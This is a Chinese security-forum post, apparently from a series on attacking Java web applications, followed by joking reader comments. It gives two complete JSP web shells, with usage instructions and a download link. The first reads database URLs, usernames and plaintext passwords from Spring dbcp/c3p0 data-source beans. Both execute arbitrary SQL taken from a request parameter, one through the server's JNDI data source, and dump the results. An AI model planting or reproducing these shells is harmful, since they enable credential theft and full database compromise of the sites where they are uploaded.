哦,My God..ApplicationContext.xml找不到明文的数据库连接账号密码!快崩溃了,看过攻击JavaWeb应用[1]-JavaEE 基础攻击JavaWeb应用[7]-Server篇[1]也没能找到数据库密码。

在ApplicationContext看到了dbcp或c3p0的配置,但是那里也没写明文的密码啊?到底要怎么连接数据库?

两种常见的数据源

上图配置了两种常见的数据源,可以一眼就看到数据源具体连接信息。其实我们只需要知道数据源的id就可以连接数据库了。

<bean id=”jwDataSource” 、<bean id=”dataSourceGlobal” 上面两个数据源的id分别是jwDataSource和dataSourceGlobal,现在要做的就是在jsp里面去注入对应的bean获取数据库连接。

上次我贴了一段通过Tomcat等Server的数据源连接数据库的代码,其实原理都是一样的找到数据源的id即可连接数据库。

<%@page import="com.mchange.v2.c3p0.ComboPooledDataSource"%>
<%@page import="javax.sql.DataSource"%>
<%@page import="java.sql.ResultSetMetaData"%>
<%@page import="java.sql.ResultSet"%>
<%@page import="java.sql.Connection"%>
<%@page import="org.apache.commons.dbcp.BasicDataSource"%>
<%@page import="org.springframework.context.ApplicationContext"%>
<%@page import="org.springframework.web.context.support.WebApplicationContextUtils"%>
 <%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
<style>
    th,td {border:1px solid #C1DAD7;font-size:12px;padding:6px;color: #4f6b72;}
</style>
<%
    ApplicationContext ctx = WebApplicationContextUtils.getWebApplicationContext(getServletContext());
     DataSource bds =  (DataSource)ctx.getBean("jwDataSource");

    out.println("dbcp:<br/>");

    //dbcp方式
    BasicDataSource dbcp =  (BasicDataSource)ctx.getBean("jwDataSource");
    out.println("URL:"+dbcp.getUrl()+"<br/>UserName:"+dbcp.getUsername()+"<br/>PassWord:"+dbcp.getPassword()+"<br/>");

    out.println("<hr/>c3p0:<br/>");

    //c3p0
    ComboPooledDataSource c3p0 =  (ComboPooledDataSource)ctx.getBean("dataSourceGlobal");
     out.println("URL:"+c3p0.getJdbcUrl()+"<br/>UserName:"+c3p0.getUser()+"<br/>PassWord:"+c3p0.getPassword()+"<br/>");

    out.println("<hr/>Sql:<font color='red'>"+request.getParameter("sql")+"</font><br/>");
     out.println("<hr/>DataSource:<br/>");
    Connection c = bds.getConnection();
    ResultSet rs = c.prepareStatement(request.getParameter("sql")).executeQuery();
     ResultSetMetaData d = rs.getMetaData();

    out.println("<table><tr>");

    for (int i = 1; i <= d.getColumnCount(); i++) {
        out.println("<th>"+d.getColumnName(i)+"("+d.getColumnTypeName(i)+")\t"+"</th>");
     }
    out.println("<tr/>");
    while (rs.next()) {
        out.println("<tr>");
        for (int i = 1; i <= d.getColumnCount(); i++) {
            out.println("<td>"+rs.getObject(d.getColumnName(i))+"</td>");
        }
        out.println("<tr/>");
    }
%>

效果图:

效果图

请求:http://localhost:8080/ylog/spring.jsp?sql=select id,account,email,qq,sign from wps_sys_user会输出数据源账号密码、连接数据库的URL。

现在需要做的就是确定到底是什么类型的数据源?如果是dbcp就删除c3p0对应的部分就行了(需要删除

<%@page import="com.mchange.v2.c3p0.ComboPooledDataSource"%>、

//c3p0

ComboPooledDataSource c3p0 =  (ComboPooledDataSource)ctx.getBean("dataSourceGlobal");

out.println("URL:"+c3p0.getJdbcUrl()+"<br/>UserName:"+c3p0.getUser()+"<br/>PassWord:"+c3p0.getPassword()+"<br/>");

不删除会报错的哦,DBCP同理。如果俩都不确定只需要查询数据库就行了,不想知道数据库账号密码。那么可以吧它俩都干掉!)。

使用Server自带的数据源:

<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
<%@page import="java.io.File"%>
<%@page import="java.io.FileWriter"%>
<%@page import="java.io.BufferedWriter"%>
<%@ page import="java.sql.*"%>
<%@ page import="javax.sql.*"%>
<%@ page import="javax.naming.*"%>
<html>
<body>
<style>
    th,td {border:1px solid #C1DAD7;font-size:12px;padding:6px;color: #4f6b72;}
</style>
<!--
使用方法:修改java:comp/env/jdbc/tfms为你自己的数据源名字
        请求http://xxx.com/xxx.jsp?sql=select xxx  from xxx即可
-->
<%
    Context ctx = new InitialContext();
    DataSource ds = (DataSource) ctx.lookup("java:comp/env/jdbc/ylog");
    ResultSet rs = ds.getConnection().prepareStatement(request.getParameter("sql")).executeQuery();
     ResultSetMetaData d = rs.getMetaData();
    out.println("Sql:<font color='red'>"+request.getParameter("sql")+"</font><br/>");
     out.println("<table><tr>");
    for (int i = 1; i <= d.getColumnCount(); i++) {
        out.println("<th>"+d.getColumnName(i)+"("+d.getColumnTypeName(i)+")\t"+"</th>");
     }
    out.println("<tr/>");
    while (rs.next()) {
        out.println("<tr>");
        for (int i = 1; i <= d.getColumnCount(); i++) {
            out.println("<td>"+rs.getObject(d.getColumnName(i))+"</td>");
        }
        out.println("<tr/>");
    }
    rs.close();
%>
</body>
</html>

有的时候并不需要找到这段配置:

这段配置

只需要在配置文件里面找到java:comp/env/jdbc/ylog就行了(其他Server同理):

配置文件

测试Sql执行成功.

测试Sql执行成功

下载地址:jndi-spring.jsp.zip

PHPtoJava:http://p2j.cn/?p=447

发帖子有点赶。马上得出去跟小伙伴儿搞基,如果有什么错误请见谅。

[原文地址]

相关讨论:

1#

啦绯哥 | 2013-12-29 15:36

小伙伴爆了

2#

无敌L.t.H (:?门安天京北爱我?) | 2013-12-29 15:40

园长又在教坏祖国花朵了。

3#

sky (()()()()()(等级:史上无敌最佳新人白帽子) | 2013-12-29 15:47

@啦绯哥 叫你昨晚轻点,你不听,弄疼人家了

4#

啦绯哥 | 2013-12-29 16:00

@sky 鸡皮疙瘩起了一层,你还不去吃火锅。。。

5#

RedFree (?1:1 1-1-4102 |※(器杀制自) | 2013-12-29 16:18

……………………………………………………………………………………………………………………………

6#

hacker@sina.cn | 2013-12-29 16:50

mark

7#

clzzy (南无阿弥陀佛) | 2013-12-30 15:08

BIU图片视频链接<code>

8#

小胖子 (流泪撒种的,必欢呼收割。) | 2013-12-30 15:11

么么哒。

9#

核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2013-12-30 17:03

mark.

留言评论(旧系统):

佚名 @ 2014-01-02 08:40:05

我了个去,真是瞌睡了,给我发枕头啊

本站回复:

枕头